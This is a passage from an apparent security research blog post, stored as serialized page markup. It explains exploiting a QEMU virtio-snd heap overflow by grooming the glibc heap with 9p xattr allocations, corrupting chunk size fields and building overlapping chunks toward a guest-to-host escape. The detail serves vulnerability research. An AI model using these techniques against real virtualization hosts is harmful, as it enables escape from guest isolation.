v9fs_string_init",{"type":24,"tag":147,"props":4674,"children":4675},{"style":235},[4676],{"type":29,"value":480},{"type":24,"tag":147,"props":4678,"children":4679},{"style":241},[4680],{"type":29,"value":485},{"type":24,"tag":147,"props":4682,"children":4683},{"style":235},[4684],{"type":29,"value":4685},"name);\n",{"type":24,"tag":147,"props":4687,"children":4688},{"class":149,"line":332},[4689,4694,4698,4703,4708,4713,4717,4721,4726,4730,4735,4739,4743,4747],{"type":24,"tag":147,"props":4690,"children":4691},{"style":235},[4692],{"type":29,"value":4693},"    err ",{"type":24,"tag":147,"props":4695,"children":4696},{"style":241},[4697],{"type":29,"value":369},{"type":24,"tag":147,"props":4699,"children":4700},{"style":229},[4701],{"type":29,"value":4702}," pdu_unmarshal",{"type":24,"tag":147,"props":4704,"children":4705},{"style":235},[4706],{"type":29,"value":4707},"(pdu, offset, ",{"type":24,"tag":147,"props":4709,"children":4710},{"style":3534},[4711],{"type":29,"value":4712},"\"dsqd\"",{"type":24,"tag":147,"props":4714,"children":4715},{"style":235},[4716],{"type":29,"value":546},{"type":24,"tag":147,"props":4718,"children":4719},{"style":241},[4720],{"type":29,"value":485},{"type":24,"tag":147,"props":4722,"children":4723},{"style":235},[4724],{"type":29,"value":4725},"fid, ",{"type":24,"tag":147,"props":4727,"children":4728},{"style":241},[4729],{"type":29,"value":485},{"type":24,"tag":147,"props":4731,"children":4732},{"style":235},[4733],{"type":29,"value":4734},"name, ",{"type":24,"tag":147,"props":4736,"children":4737},{"style":241},[4738],{"type":29,"value":485},{"type":24,"tag":147,"props":4740,"children":4741},{"style":235},[4742],{"type":29,"value":3475},{"type":24,"tag":147,"props":4744,"children":4745},{"style":241},[4746],{"type":29,"value":485},{"type":24,"tag":147,"props":4748,"children":4749},{"style":235},[4750],{"type":29,"value":4751},"flags);\n",{"type":24,"tag":147,"props":4753,"children":4754},{"class":149,"line":350},[4755,4760,4765,4769,4773],{"type":24,"tag":147,"props":4756,"children":4757},{"style":321},[4758],{"type":29,"value":4759},"    if",{"type":24,"tag":147,"props":4761,"children":4762},{"style":235},[4763],{"type":29,"value":4764}," (err ",{"type":24,"tag":147,"props":4766,"children":4767},{"style":241},[4768],{"type":29,"value":3583},{"type":24,"tag":147,"props":4770,"children":4771},{"style":705},[4772],{"type":29,"value":708},{"type":24,"tag":147,"props":4774,"children":4775},{"style":235},[4776],{"type":29,"value":505},{"type":24,"tag":147,"props":4778,"children":4779},{"class":149,"line":358},[4780,4785],{"type":24,"tag":147,"props":4781,"children":4782},{"style":321},[4783],{"type":29,"value":4784},"        goto",{"type":24,"tag":147,"props":4786,"children":4787},{"style":235},[4788],{"type":29,"value":4789}," out_nofid;\n",{"type":24,"tag":147,"props":4791,"children":4792},{"class":149,"line":397},[4793],{"type":24,"tag":147,"props":4794,"children":4795},{"style":235},[4796],{"type":29,"value":1952},{"type":24,"tag":147,"props":4798,"children":4799},{"class":149,"line":421},[4800],{"type":24,"tag":147,"props":4801,"children":4802},{"emptyLinePlaceholder":16},[4803],{"type":29,"value":314},{"type":24,"tag":147,"props":4805,"children":4806},{"class":149,"line":435},[4807],{"type":24,"tag":147,"props":4808,"children":4809},{"style":235},[4810],{"type":29,"value":305},{"type":24,"tag":147,"props":4812,"children":4813},{"class":149,"line":444},[4814],{"type":24,"tag":147,"props":4815,"children":4816},{"emptyLinePlaceholder":16},[4817],{"type":29,"value":314},{"type":24,"tag":147,"props":4819,"children":4820},{"class":149,"line":452},[4821,4825,4829,4833],{"type":24,"tag":147,"props":4822,"children":4823},{"style":321},[4824],{"type":29,"value":4759},{"type":24,"tag":147,"props":4826,"children":4827},{"style":235},[4828],{"type":29,"value":3578},{"type":24,"tag":147,"props":4830,"children":4831},{"style":241},[4832],{"type":29,"value":3453},{"type":24,"tag":147,"props":4834,"children":4835},{"style":235},[4836],{"type":29,"value":4837}," P9_XATTR_SIZE_MAX) {\n",{"type":24,"tag":147,"props":4839,"children":4840},{"class":149,"line":461},[4841,4846,4850,4854],{"type":24,"tag":147,"props":4842,"children":4843},{"style":235},[4844],{"type":29,"value":4845},"        err ",{"type":24,"tag":147,"props":4847,"children":4848},{"style":241},[4849],{"type":29,"value":369},{"type":24,"tag":147,"props":4851,"children":4852},{"style":241},[4853],{"type":29,"value":1791},{"type":24,"tag":147,"props":4855,"children":4856},{"style":235},[4857],{"type":29,"value":4858},"E2BIG;\n",{"type":24,"tag":147,"props":4860,"children":4861},{"class":149,"line":469},[4862,4866],{"type":24,"tag":147,"props":4863,"children":4864},{"style":321},[4865],{"type":29,"value":4784},{"type":24,"tag":147,"props":4867,"children":4868},{"style":235},[4869],{"type":29,"value":4789},{"type":24,"tag":147,"props":4871,"children":4872},{"class":149,"line":508},[4873],{"type":24,"tag":147,"props":4874,"children":4875},{"style":235},[4876],{"type":29,"value":1952},{"type":24,"tag":147,"props":4878,"children":4879},{"class":149,"line":572},[4880],{"type":24,"tag":147,"props":4881,"children":4882},{"emptyLinePlaceholder":16},[4883],{"type":29,"value":314},{"type":24,"tag":147,"props":4885,"children":4886},{"class":149,"line":591},[4887],{"type":24,"tag":147,"props":4888,"children":4889},{"style":235},[4890],{"type":29,"value":305},{"type":24,"tag":147,"props":4892,"children":4893},{"class":149,"line":632},[4894],{"type":24,"tag":147,"props":4895,"children":4896},{"emptyLinePlaceholder":16},[4897],{"type":29,"value":314},{"type":24,"tag":147,"props":4899,"children":4900},{"class":149,"line":659},[4901,4905,4909,4913,4918,4922,4927,4931,4936,4940,4945],{"type":24,"tag":147,"props":4902,"children":4903},{"style":229},[4904],{"type":29,"value":4672},{"type":24,"tag":147,"props":4906,"children":4907},{"style":235},[4908],{"type":29,"value":480},{"type":24,"tag":147,"props":4910,"children":4911},{"style":241},[4912],{"type":29,"value":485},{"type":24,"tag":147,"props":4914,"children":4915},{"style":247},[4916],{"type":29,"value":4917},"xattr_fidp",{"type":24,"tag":147,"props":4919,"children":4920},{"style":235},[4921],{"type":29,"value":495},{"type":24,"tag":147,"props":4923,"children":4924},{"style":247},[4925],{"type":29,"value":4926},"fs",{"type":24,"tag":147,"props":4928,"children":4929},{"style":235},[4930],{"type":29,"value":87},{"type":24,"tag":147,"props":4932,"children":4933},{"style":247},[4934],{"type":29,"value":4935},"xattr",{"type":24,"tag":147,"props":4937,"children":4938},{"style":235},[4939],{"type":29,"value":87},{"type":24,"tag":147,"props":4941,"children":4942},{"style":247},[4943],{"type":29,"value":4944},"name",{"type":24,"tag":147,"props":4946,"children":4947},{"style":235},[4948],{"type":29,"value":1473},{"type":24,"tag":147,"props":4950,"children":4951},{"class":149,"line":684},[4952,4957,4961,4965,4969,4973,4977,4981,4985,4989,4993,4997,5001],{"type":24,"tag":147,"props":4953,"children":4954},{"style":229},[4955],{"type":29,"value":4956},"    v9fs_string_copy",{"type":24,"tag":147,"props":4958,"children":4959},{"style":235},[4960],{"type":29,"value":480},{"type":24,"tag":147,"props":4962,"children":4963},{"style":241},[4964],{"type":29,"value":485},{"type":24,"tag":147,"props":4966,"children":4967},{"style":247},[4968],{"type":29,"value":4917},{"type":24,"tag":147,"props":4970,"children":4971},{"style":235},[4972],{"type":29,"value":495},{"type":24,"tag":147,"props":4974,"children":4975},{"style":247},[4976],{"type":29,"value":4926},{"type":24,"tag":147,"props":4978,"children":4979},{"style":235},[4980],{"type":29,"value":87},{"type":24,"tag":147,"props":4982,"children":4983},{"style":247},[4984],{"type":29,"value":4935},{"type":24,"tag":147,"props":4986,"children":4987},{"style":235},[4988],{"type":29,"value":87},{"type":24,"tag":147,"props":4990,"children":4991},{"style":247},[4992],{"type":29,"value":4944},{"type":24,"tag":147,"props":4994,"children":4995},{"style":235},[4996],{"type":29,"value":546},{"type":24,"tag":147,"props":4998,"children":4999},{"style":241},[5000],{"type":29,"value":485},{"type":24,"tag":147,"props":5002,"children":5003},{"style":235},[5004],{"type":29,"value":4685},{"type":24,"tag":147,"props":5006,"children":5007},{"class":149,"line":715},[5008,5013,5017,5021,5025,5029,5033,5038,5042,5046],{"type":24,"tag":147,"props":5009,"children":5010},{"style":247},[5011],{"type":29,"value":5012},"    xattr_fidp",{"type":24,"tag":147,"props":5014,"children":5015},{"style":235},[5016],{"type":29,"value":495},{"type":24,"tag":147,"props":5018,"children":5019},{"style":247},[5020],{"type":29,"value":4926},{"type":24,"tag":147,"props":5022,"children":5023},{"style":235},[5024],{"type":29,"value":87},{"type":24,"tag":147,"props":5026,"children":5027},{"style":247},[5028],{"type":29,"value":4935},{"type":24,"tag":147,"props":5030,"children":5031},{"style":235},[5032],{"type":29,"value":87},{"type":24,"tag":147,"props":5034,"children":5035},{"style":247},[5036],{"type":29,"value":5037},"value",{"type":24,"tag":147,"props":5039,"children":5040},{"style":241},[5041],{"type":29,"value":651},{"type":24,"tag":147,"props":5043,"children":5044},{"style":229},[5045],{"type":29,"value":606},{"type":24,"tag":147,"props":5047,"children":5048},{"style":235},[5049],{"type":29,"value":5050},"(size);\n",{"type":24,"tag":147,"props":5052,"children":5053},{"class":149,"line":744},[5054],{"type":24,"tag":147,"props":5055,"children":5056},{"style":235},[5057],{"type":29,"value":827},{"type":24,"tag":25,"props":5059,"children":5060},{},[5061,5063,5068,5070,5075,5076,5081,5083,5088],{"type":29,"value":5062},"Because the ",{"type":24,"tag":80,"props":5064,"children":5066},{"className":5065},[],[5067],{"type":29,"value":4419},{"type":29,"value":5069}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":24,"tag":80,"props":5071,"children":5073},{"className":5072},[],[5074],{"type":29,"value":4419},{"type":29,"value":855},{"type":24,"tag":80,"props":5077,"children":5079},{"className":5078},[],[5080],{"type":29,"value":4426},{"type":29,"value":5082},", not just the ",{"type":24,"tag":80,"props":5084,"children":5086},{"className":5085},[],[5087],{"type":29,"value":4426},{"type":29,"value":5089}," we actually care about. But we will get around this later in the blog post.",{"type":24,"tag":25,"props":5091,"children":5092},{},[5093,5095,5100],{"type":29,"value":5094},"The ",{"type":24,"tag":80,"props":5096,"children":5098},{"className":5097},[],[5099],{"type":29,"value":4426},{"type":29,"value":5101}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":24,"tag":25,"props":5103,"children":5104},{},[5105,5107,5112,5114,5120,5122,5128,5130,5136],{"type":29,"value":5106},"Once allocated, we can write arbitrary bytes into the ",{"type":24,"tag":80,"props":5108,"children":5110},{"className":5109},[],[5111],{"type":29,"value":4426},{"type":29,"value":5113}," buffer through a ",{"type":24,"tag":80,"props":5115,"children":5117},{"className":5116},[],[5118],{"type":29,"value":5119},"P9_TWRITE",{"type":29,"value":5121}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":24,"tag":80,"props":5123,"children":5125},{"className":5124},[],[5126],{"type":29,"value":5127},"P9_TREAD",{"type":29,"value":5129},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":24,"tag":80,"props":5131,"children":5133},{"className":5132},[],[5134],{"type":29,"value":5135},"P9_TCLUNK",{"type":29,"value":5137}," request on that same FID.",{"type":24,"tag":25,"props":5139,"children":5140},{},[5141,5143,5149],{"type":29,"value":5142},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":24,"tag":80,"props":5144,"children":5146},{"className":5145},[],[5147],{"type":29,"value":5148},"65536",{"type":29,"value":5150}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":24,"tag":43,"props":5152,"children":5154},{"id":5153},"setting-the-heap-layout",[5155],{"type":29,"value":5156},"Setting the Heap Layout",{"type":24,"tag":25,"props":5158,"children":5159},{},[5160,5162,5167],{"type":29,"value":5161},"Ideally, we want a contiguous heap region consisting only of ",{"type":24,"tag":80,"props":5163,"children":5165},{"className":5164},[],[5166],{"type":29,"value":4426},{"type":29,"value":5168}," allocations, like this:",{"type":24,"tag":137,"props":5170,"children":5172},{"code":5171},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[5173],{"type":24,"tag":80,"props":5174,"children":5175},{"__ignoreMap":7},[5176],{"type":29,"value":5171},{"type":24,"tag":25,"props":5178,"children":5179},{},[5180,5182,5187,5189,5194,5196,5201],{"type":29,"value":5181},"This lets us later create holes by freeing every other ",{"type":24,"tag":80,"props":5183,"children":5185},{"className":5184},[],[5186],{"type":29,"value":4426},{"type":29,"value":5188}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":24,"tag":80,"props":5190,"children":5192},{"className":5191},[],[5193],{"type":29,"value":698},{"type":29,"value":5195}," field of the next live ",{"type":24,"tag":80,"props":5197,"children":5199},{"className":5198},[],[5200],{"type":29,"value":4426},{"type":29,"value":5202}," chunk.",{"type":24,"tag":25,"props":5204,"children":5205},{},[5206],{"type":29,"value":5207},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":24,"tag":25,"props":5209,"children":5210},{},[5211,5213,5218,5220,5225,5227,5232,5234,5239],{"type":29,"value":5212},"As mentioned earlier, ",{"type":24,"tag":80,"props":5214,"children":5216},{"className":5215},[],[5217],{"type":29,"value":4463},{"type":29,"value":5219}," always allocates two chunks: one for ",{"type":24,"tag":80,"props":5221,"children":5223},{"className":5222},[],[5224],{"type":29,"value":4419},{"type":29,"value":5226}," and one for ",{"type":24,"tag":80,"props":5228,"children":5230},{"className":5229},[],[5231],{"type":29,"value":4426},{"type":29,"value":5233},". We want to avoid having ",{"type":24,"tag":80,"props":5235,"children":5237},{"className":5236},[],[5238],{"type":29,"value":4419},{"type":29,"value":5240}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":24,"tag":2674,"props":5242,"children":5243},{},[5244,5256],{"type":24,"tag":2678,"props":5245,"children":5246},{},[5247,5249,5254],{"type":29,"value":5248},"Make ",{"type":24,"tag":80,"props":5250,"children":5252},{"className":5251},[],[5253],{"type":29,"value":4419},{"type":29,"value":5255}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":24,"tag":2678,"props":5257,"children":5258},{},[5259,5261,5266,5268,5273,5275,5280],{"type":29,"value":5260},"Prepare a separate region whose sole purpose is to absorb ",{"type":24,"tag":80,"props":5262,"children":5264},{"className":5263},[],[5265],{"type":29,"value":4419},{"type":29,"value":5267},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":24,"tag":80,"props":5269,"children":5271},{"className":5270},[],[5272],{"type":29,"value":4419},{"type":29,"value":5274}," allocations from that separate freelist instead of placing them next to our ",{"type":24,"tag":80,"props":5276,"children":5278},{"className":5277},[],[5279],{"type":29,"value":4426},{"type":29,"value":5281}," chunks.",{"type":24,"tag":112,"props":5283,"children":5285},{"id":5284},"separating-name-allocations",[5286],{"type":29,"value":5287},"Separating .name allocations",{"type":24,"tag":25,"props":5289,"children":5290},{},[5291,5293,5298,5300,5305],{"type":29,"value":5292},"We chose the second option. However, it is not as simple as issuing ",{"type":24,"tag":80,"props":5294,"children":5296},{"className":5295},[],[5297],{"type":29,"value":4463},{"type":29,"value":5299}," for N ",{"type":24,"tag":80,"props":5301,"children":5303},{"className":5302},[],[5304],{"type":29,"value":4419},{"type":29,"value":5306},"-sized allocations and then freeing them.",{"type":24,"tag":25,"props":5308,"children":5309},{},[5310,5312,5317,5318,5323,5324,5329,5331,5336,5338,5343],{"type":29,"value":5311},"At this point, we already know that ",{"type":24,"tag":80,"props":5313,"children":5315},{"className":5314},[],[5316],{"type":29,"value":4463},{"type":29,"value":5219},{"type":24,"tag":80,"props":5319,"children":5321},{"className":5320},[],[5322],{"type":29,"value":4419},{"type":29,"value":5226},{"type":24,"tag":80,"props":5325,"children":5327},{"className":5326},[],[5328],{"type":29,"value":4426},{"type":29,"value":5330},". If we simply call it with ",{"type":24,"tag":80,"props":5332,"children":5334},{"className":5333},[],[5335],{"type":29,"value":4426},{"type":29,"value":5337}," sized the same as ",{"type":24,"tag":80,"props":5339,"children":5341},{"className":5340},[],[5342],{"type":29,"value":4419},{"type":29,"value":5344},", we get a layout like this:",{"type":24,"tag":137,"props":5346,"children":5348},{"code":5347},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[5349],{"type":24,"tag":80,"props":5350,"children":5351},{"__ignoreMap":7},[5352],{"type":29,"value":5347},{"type":24,"tag":25,"props":5354,"children":5355},{},[5356,5358,5363,5365,5371,5373,5379,5381,5386,5388,5393,5395,5400],{"type":29,"value":5357},"With that heap state, issuing a ",{"type":24,"tag":80,"props":5359,"children":5361},{"className":5360},[],[5362],{"type":29,"value":5135},{"type":29,"value":5364}," request would first free ",{"type":24,"tag":80,"props":5366,"children":5368},{"className":5367},[],[5369],{"type":29,"value":5370},".name A",{"type":29,"value":5372}," and then ",{"type":24,"tag":80,"props":5374,"children":5376},{"className":5375},[],[5377],{"type":29,"value":5378},".value A",{"type":29,"value":5380},". When ",{"type":24,"tag":80,"props":5382,"children":5384},{"className":5383},[],[5385],{"type":29,"value":5378},{"type":29,"value":5387}," is freed, the allocator sees that the preceding chunk ",{"type":24,"tag":80,"props":5389,"children":5391},{"className":5390},[],[5392],{"type":29,"value":5370},{"type":29,"value":5394}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":24,"tag":80,"props":5396,"children":5398},{"className":5397},[],[5399],{"type":29,"value":4419},{"type":29,"value":5401},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":24,"tag":25,"props":5403,"children":5404},{},[5405],{"type":29,"value":5406},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":24,"tag":25,"props":5408,"children":5409},{},[5410,5412,5417,5419,5425,5427,5432,5434,5440,5442,5447,5449,5455],{"type":29,"value":5411},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":24,"tag":80,"props":5413,"children":5415},{"className":5414},[],[5416],{"type":29,"value":4419},{"type":29,"value":5418}," allocation remains fixed at size ",{"type":24,"tag":80,"props":5420,"children":5422},{"className":5421},[],[5423],{"type":29,"value":5424},"0x20",{"type":29,"value":5426},". We first allocate 16 xattrs whose ",{"type":24,"tag":80,"props":5428,"children":5430},{"className":5429},[],[5431],{"type":29,"value":4426},{"type":29,"value":5433}," size is ",{"type":24,"tag":80,"props":5435,"children":5437},{"className":5436},[],[5438],{"type":29,"value":5439},"0x30",{"type":29,"value":5441},". After that, we allocate another 16 xattrs, this time with ",{"type":24,"tag":80,"props":5443,"children":5445},{"className":5444},[],[5446],{"type":29,"value":4426},{"type":29,"value":5448}," size ",{"type":24,"tag":80,"props":5450,"children":5452},{"className":5451},[],[5453],{"type":29,"value":5454},"0x40",{"type":29,"value":5456},", and continue in the same way for each tcache size class.",{"type":24,"tag":25,"props":5458,"children":5459},{},[5460],{"type":29,"value":5461},"This yields the following layout:",{"type":24,"tag":137,"props":5463,"children":5465},{"code":5464},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[5466],{"type":24,"tag":80,"props":5467,"children":5468},{"__ignoreMap":7},[5469],{"type":29,"value":5464},{"type":24,"tag":25,"props":5471,"children":5472},{},[5473,5475,5480,5482,5487,5489,5494,5496,5501,5503,5508,5510,5515,5516,5521,5523,5528,5530,5535,5537,5542,5544,5549,5551,5556],{"type":29,"value":5474},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":24,"tag":80,"props":5476,"children":5478},{"className":5477},[],[5479],{"type":29,"value":4419},{"type":29,"value":5481}," chunks end up in the ",{"type":24,"tag":80,"props":5483,"children":5485},{"className":5484},[],[5486],{"type":29,"value":5424},{"type":29,"value":5488}," tcache bin, along with the interleaved ",{"type":24,"tag":80,"props":5490,"children":5492},{"className":5491},[],[5493],{"type":29,"value":4426},{"type":29,"value":5495}," chunks of size ",{"type":24,"tag":80,"props":5497,"children":5499},{"className":5498},[],[5500],{"type":29,"value":5439},{"type":29,"value":5502},". The next 16 ",{"type":24,"tag":80,"props":5504,"children":5506},{"className":5505},[],[5507],{"type":29,"value":4419},{"type":29,"value":5509}," chunks are interleaved with ",{"type":24,"tag":80,"props":5511,"children":5513},{"className":5512},[],[5514],{"type":29,"value":4426},{"type":29,"value":5495},{"type":24,"tag":80,"props":5517,"children":5519},{"className":5518},[],[5520],{"type":29,"value":5454},{"type":29,"value":5522},"; when freed, those ",{"type":24,"tag":80,"props":5524,"children":5526},{"className":5525},[],[5527],{"type":29,"value":4426},{"type":29,"value":5529}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":24,"tag":80,"props":5531,"children":5533},{"className":5532},[],[5534],{"type":29,"value":4419},{"type":29,"value":5536}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":24,"tag":80,"props":5538,"children":5540},{"className":5539},[],[5541],{"type":29,"value":4419},{"type":29,"value":5543},"-sized chunks that will later be served to the ",{"type":24,"tag":80,"props":5545,"children":5547},{"className":5546},[],[5548],{"type":29,"value":4419},{"type":29,"value":5550}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":24,"tag":80,"props":5552,"children":5554},{"className":5553},[],[5555],{"type":29,"value":4426},{"type":29,"value":5281},{"type":24,"tag":43,"props":5558,"children":5560},{"id":5559},"corrupting-the-size",[5561],{"type":29,"value":5562},"Corrupting the Size",{"type":24,"tag":25,"props":5564,"children":5565},{},[5566,5568,5573,5575,5580,5582,5587,5589,5594,5595,5600],{"type":29,"value":5567},"The input format is guest-controlled, and we choose ",{"type":24,"tag":80,"props":5569,"children":5571},{"className":5570},[],[5572],{"type":29,"value":2625},{"type":29,"value":5574}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":24,"tag":80,"props":5576,"children":5578},{"className":5577},[],[5579],{"type":29,"value":2625},{"type":29,"value":5581}," is centered at ",{"type":24,"tag":80,"props":5583,"children":5585},{"className":5584},[],[5586],{"type":29,"value":2641},{"type":29,"value":5588}," (rather than ",{"type":24,"tag":80,"props":5590,"children":5592},{"className":5591},[],[5593],{"type":29,"value":2656},{"type":29,"value":2643},{"type":24,"tag":80,"props":5596,"children":5598},{"className":5597},[],[5599],{"type":29,"value":2633},{"type":29,"value":5601},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":24,"tag":25,"props":5603,"children":5604},{},[5605,5607,5612],{"type":29,"value":5606},"As we already concluded, ",{"type":24,"tag":80,"props":5608,"children":5610},{"className":5609},[],[5611],{"type":29,"value":2094},{"type":29,"value":5613}," is called with the amount:",{"type":24,"tag":137,"props":5615,"children":5617},{"code":5616},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[5618],{"type":24,"tag":80,"props":5619,"children":5620},{"__ignoreMap":7},[5621],{"type":29,"value":5616},{"type":24,"tag":25,"props":5623,"children":5624},{},[5625,5627,5632,5634,5639],{"type":29,"value":5626},"And as mentioned earlier, ",{"type":24,"tag":80,"props":5628,"children":5630},{"className":5629},[],[5631],{"type":29,"value":2125},{"type":29,"value":5633}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":24,"tag":80,"props":5635,"children":5637},{"className":5636},[],[5638],{"type":29,"value":698},{"type":29,"value":5640}," field.",{"type":24,"tag":25,"props":5642,"children":5643},{},[5644,5646,5651,5653,5658],{"type":29,"value":5645},"With the desired heap layout of repeated ",{"type":24,"tag":80,"props":5647,"children":5649},{"className":5648},[],[5650],{"type":29,"value":4328},{"type":29,"value":5652},"-sized ",{"type":24,"tag":80,"props":5654,"children":5656},{"className":5655},[],[5657],{"type":29,"value":4426},{"type":29,"value":5659}," chunks in place, we can then free every other one:",{"type":24,"tag":137,"props":5661,"children":5663},{"code":5662},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[5664],{"type":24,"tag":80,"props":5665,"children":5666},{"__ignoreMap":7},[5667],{"type":29,"value":5662},{"type":24,"tag":25,"props":5669,"children":5670},{},[5671,5673,5678],{"type":29,"value":5672},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":24,"tag":80,"props":5674,"children":5676},{"className":5675},[],[5677],{"type":29,"value":4426},{"type":29,"value":5679}," chunk directly next to it:",{"type":24,"tag":137,"props":5681,"children":5683},{"code":5682},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[5684],{"type":24,"tag":80,"props":5685,"children":5686},{"__ignoreMap":7},[5687],{"type":29,"value":5682},{"type":24,"tag":25,"props":5689,"children":5690},{},[5691,5693,5698,5700,5705],{"type":29,"value":5692},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":24,"tag":80,"props":5694,"children":5696},{"className":5695},[],[5697],{"type":29,"value":4328},{"type":29,"value":5699},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":24,"tag":80,"props":5701,"children":5703},{"className":5702},[],[5704],{"type":29,"value":4426},{"type":29,"value":5706}," chunk now has a corrupted and likely oversized size field:",{"type":24,"tag":137,"props":5708,"children":5710},{"code":5709},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[5711],{"type":24,"tag":80,"props":5712,"children":5713},{"__ignoreMap":7},[5714],{"type":29,"value":5709},{"type":24,"tag":25,"props":5716,"children":5717},{},[5718,5720,5725],{"type":29,"value":5719},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":24,"tag":80,"props":5721,"children":5723},{"className":5722},[],[5724],{"type":29,"value":4343},{"type":29,"value":978},{"type":24,"tag":137,"props":5727,"children":5729},{"code":5728},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[5730],{"type":24,"tag":80,"props":5731,"children":5732},{"__ignoreMap":7},[5733],{"type":29,"value":5728},{"type":24,"tag":25,"props":5735,"children":5736},{},[5737,5739,5744],{"type":29,"value":5738},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":24,"tag":80,"props":5740,"children":5742},{"className":5741},[],[5743],{"type":29,"value":4343},{"type":29,"value":5745},").",{"type":24,"tag":137,"props":5747,"children":5749},{"code":5748},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[5750],{"type":24,"tag":80,"props":5751,"children":5752},{"__ignoreMap":7},[5753],{"type":29,"value":5748},{"type":24,"tag":25,"props":5755,"children":5756},{},[5757,5759,5765],{"type":29,"value":5758},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":24,"tag":80,"props":5760,"children":5762},{"className":5761},[],[5763],{"type":29,"value":5764},"0x400",{"type":29,"value":5766}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":24,"tag":137,"props":5768,"children":5770},{"code":5769},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[5771],{"type":24,"tag":80,"props":5772,"children":5773},{"__ignoreMap":7},[5774],{"type":29,"value":5769},{"type":24,"tag":43,"props":5776,"children":5778},{"id":5777},"leaking-a-heap-address",[5779],{"type":29,"value":5780},"Leaking a Heap Address",{"type":24,"tag":25,"props":5782,"children":5783},{},[5784],{"type":29,"value":5785},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap 